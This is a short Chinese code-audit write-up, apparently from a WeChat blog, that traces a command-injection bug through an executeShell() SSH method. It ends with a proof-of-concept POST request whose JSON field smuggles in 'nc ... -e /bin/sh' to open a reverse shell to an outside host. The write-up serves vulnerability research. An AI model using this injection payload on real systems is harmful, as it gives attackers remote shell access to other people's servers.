在文件中,发现了一个命令执行函数,执行命令部分是comandContext()
跟下调用链,发现了代码中多次调用了executeShell()方法
而在路由中是通过post来处理请求的
接着跟踪post传入的内容,在某方法中申明了一个可序列化的类,用来接收数据
分析这个方法,如果传入的type参数和TYPE_REMOTE方法一致的话,也就是remote
之前实例的方法获取值
跟进executeshell函数,在文件中覆写了方法,该方法用于进行ssh连接
那么只要传入恶意代码就能执行命令
抓取数据包
我们构造poc尝试反弹shell
POST /api/xx/xxx/xxx HTTP/1.1 Host: xx.xx.xx.xx:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 109 Connection: close {..."xxxx":"xx||nc xx.xx.xx.xx -e /bin/sh||"} |
本文始发于微信公众号(白帽子飙车路):代码审计连载-命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论